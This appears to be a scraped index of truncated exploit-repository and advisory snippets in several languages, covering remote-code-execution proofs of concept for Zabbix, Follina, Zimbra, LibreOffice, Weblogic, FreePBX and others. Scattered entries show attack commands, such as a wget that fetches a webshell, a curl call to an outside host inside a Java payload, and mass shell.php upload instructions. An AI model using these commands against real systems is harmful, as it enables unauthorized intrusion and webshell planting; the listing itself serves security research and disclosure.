CVE-2026-108264 Wizarr: Authenticated Server-Side Template Injection (SSTI) in wizard step rendering leads to Remote Code Execution (RCE)

Wizarr is an advanced user invitation and management system for Jellyfin, Plex, Emby, and other media servers. Prior to 2026.9.1, wizard step Markdown supplied through the editor or imported bundles was evaluated by app/blueprints/wizard/routes.py in the application's non-sandboxed Jinja2...

CVE-2024-42327

CVE-2024-42327: Zabbix 권한 상승 - RCE 설명 이 PoCProof-of-Concept는 CVE-2024-42327을 악용하여 관리자admin API 인증 토큰을 유출하고 아이템을 생성하여 Zabbix 서버 6.0.32rc1, 6.4.17rc1, 7.0.1rc1에서 리버스 셸을 획득하는 데 사용할 수 있습니다. Zabbix 프론트엔드에서 기본 User 역할 또는 API 접근 권한을 부여하는 다른 역할을 가진 비관리자 사용자 계정으로 이 취약점을 악용할 수 있습니다. addRelatedObjects 함수의...

pax

pax Exploit padding oracles for fun and profit! Pax PAdding oracle eXploiter is a tool for exploiting padding oracles in order to: 1. Obtain plaintext for a given piece of CBC encrypted data. 2. Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by...

CVE-2022-30190

CVE-2022-30190 Follina 개념 증명 개요 이 프로젝트는 "Follina"라고도 알려진 CVE-2022-30190에 대한 개념 증명 익스플로잇 을 시연합니다. 이는 MSDT 프로토콜을 통해 Microsoft Office에 영향을 미치는 치명적인 원격 코드 실행 취약점입니다. 이 애플리케이션은 교육 및 연구 목적으로만 익스플로잇 워크플로를 설명하기 위해 악성 Office 문서를 생성합니다. ⚠ 경고: 이 저장소는 교육 및 승인된 보안 연구용으로만 사용됩니다. 프로덕션 환경이나 소유하지 않았거나 명시적 테스트 허가를...

CVE-2022-27925

CVE-2022-27925 Zimbra RCE 2022 このリポジトリは hgrab-framework の一部です dork title: "Zimbra Web Client Sign In" 影響を受ける製品 Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 およびそれ以前 Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 およびそれ以前 インストール サーバーにアプリをインストールします user@domain: git clone...

react2shellpoc

이 저장소는 특정 부류의 React Server Component 취약점이 통제된 합법적 교육 환경 내에서 어떻게 동작하는지 보여주는 개념 증명proof-of-concept을 포함하고 있습니다. 매뉴얼 ┌──kali㉿kali-/Documents/tools/2025-55182 └─$ python exploit.py -h /\ /\ /\ /\ /\ /\ || CVE-2025-55182 React Server Components RCE usage: exploit.py -h -t URL -c CMD options: -h, --help...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 원격 코드 실행 및 외부 리소스 로드, 발견자: @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 익스플로잇 현재 디렉토리에 웹쉘을 떨어뜨리는 예제입니다. python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'...

Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

Summary An authenticated nginx-ui user can call POST /api/restore, upload a forged encrypted backup, restore app.ini, set nginx command settings such as TestConfigCmd, and then trigger command execution with POST /api/nginx/test. This was validated on nginx-ui 2.3.11 2523 6c86e5a5 in the local...

CVE-2014-6271-IPFire

CVE-2014-6271 CVE-2014-6271 の Python 実装: IP Fire =2.15 ShellShock RCE 同じエクスプロイト用の Metasploit モジュールに基づく EDB ID: 34839 エクスプロイトは自動化されています。すべてのスイッチについては ./CVE-2014-6271.py --help を参照してください。 警告:...

Security Bulletin: Due to use of Apache Log4j, IBM Cloud PAK for Watson AI Ops is vulnerable to arbitrary code execution (CVE-2021-45046) and denial of service (CVE-2021-45105)

Summary Apache Log4j is used by IBM Cloud PAK for Watson AI Ops as part of its logging infrastructure. The CVE numbers are: CVE-2021-45105 and CVE-2021-45046. Vulnerabilities were identified within the Apache Log4j library that is used by IBM Cloud Pak for Watson AIOps. These vulnerabilities have...

CVE-2024-37759_PoC

CVE-2024-37759 PoC 설명 DataGear 5.0.0 이하 버전에는 원격 코드 실행으로 이어지는 SpEL 표현식 주입 취약점이 있습니다. 익스플로잇 CVE 익스플로잇 세부 정보 /data/schemaId/tableName/view 인터페이스를 요청할 때, 데이터베이스 테이블에 기본 키가 없으면 공격자는 data 필드에 악의적인 SpEL 표현식을 주입할 수 있습니다. "view" 버튼을 클릭하면 SpEL 표현식이 실행됩니다. 공격을 수행하려면 다음과 같이 악의적인 데이터베이스 테이블을 생성할 수 있습니다: CREAT...

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce プロトコルが無い場合 → スクリプトが自動的に http:// を追加します 2️⃣ シェルを追加 シェルファイルを同じディレクトリに配置: shell.php 3️⃣ エクスプロイトを実行 python3 CVE-2026-3891.py 4️⃣ 対話式入力 スクリプトが次の項目を尋ねます: ターゲットファイル（デフォルト: list.txt） スレッド数（デフォルト: 8） シェルファイル名（例: shell.php） ⚡ エクスプロイトの流れ 1. 🎯 ターゲットを読み込み 2...

CVE-2021-22941

사용 python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 참조 https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

Chamilo-LMS-Unauthenticated-File-Upload-CVE-2023-4220

Chamilo-LMS-Unauthenticated-File-Upload- /main/inc/lib/javascript/bigupload/inc/bigUpload.php における大容量ファイルアップロード機能の制限なしファイルアップロードにより、Chamilo LMS ' dollarboysushil.php .png その後、以下のコマンドを実行してこのファイルをアップロードできます。 $ curl -F '[email protected]'...

cve-2021-21985_exp

cve-2021-21985 エクスプロイト 0x01 脆弱性ポイント 分析から分かること： https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=homerapid7-analysis 0x02 エクスプロイト beansオブジェクトを再構築し、RCEを実現する。 beanリスト： localizedMessageBundle vsanWorkerThreadFactory vsanThreadPoolImpl vsanServiceBundleActivator vsanServiceFactory...

CVE-2026-7654

CVE-2026-7654 CVE-2026-7654 Admin Columns PHP 객체 주입 RCE 익스플로잇...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOP 逆シリアル化 テスト環境 Weblogic10.3.6+jdk1.6 パッケージ化されたjarファイル 抽出コード：a6ob 脆弱性の悪用 jarファイルをダウンロードし、marshalsecを使用して悪意のあるRMIサービスを起動します。ローカルでexp.javaをコンパイルします。 package payload; import java.io.IOException; public class exp public exp String cmd = "curl http://172.16.1.1/success"; try...

Rocket-Chat-3.12.1-PoC-CVE-2021-22911-

Rocket-Chat-3.12.1-PoC-CVE-2021-22911- 1. ログインページに移動 2. 新しいアカウントを登録し、パスワードを P@$$w0rd!1234 に設定 3. スクリプトを実行 -u = 低権限ユーザーのメールアドレス 2FAなし -a = 管理者のメールアドレス -t = URL 例: http://rocketchat.local python3 rocketchat.py -u [email protected] -a [email protected] -t http://192.168.169.164:3000 4...

CVE-2024-12252

SEO LAT Auto Post = 2.2.1 - リモートコード実行 説明 WordPress用SEO LAT Auto Postプラグインは、バージョン2.2.1以前のすべてのバージョンにおいて、remoteupdate AJAXアクションに対する権限チェックが欠如しているため、ファイルの上書きが可能です。これにより、未認証の攻撃者がseo-beginner-auto-post.phpファイルを上書きでき、それを利用してリモートコード実行を達成できる可能性があります。 脆弱性の詳細 CVE : CVE-2024-12252 CVSSスコア : 9.8 緊急 悪用方法...

freepbx-endpoint-sqli-rce

CVE-2025-57819 — FreePBX 엔드포인트 모듈 SQL 인젝션 → 원격 코드 실행 요약 FreePBX는 Asterisk PBX를 위한 오픈소스 웹 GUI로, 기업용 전화 환경에서 널리 배포됩니다. 엔드포인트 매니저 모듈은 /admin/ajax.php에서 AJAX 핸들러를 노출하며, 이 핸들러는 brand 매개변수를 받아 SQL 쿼리에 직접 삽입합니다살균 처리 없음. 인증되지 않은 원격 공격자는 임의의 SQL을 주입하고, cronjobs 테이블에 행을 삽입한 후, FreePBX cron 데몬이 웹 루트에 실행 가능한...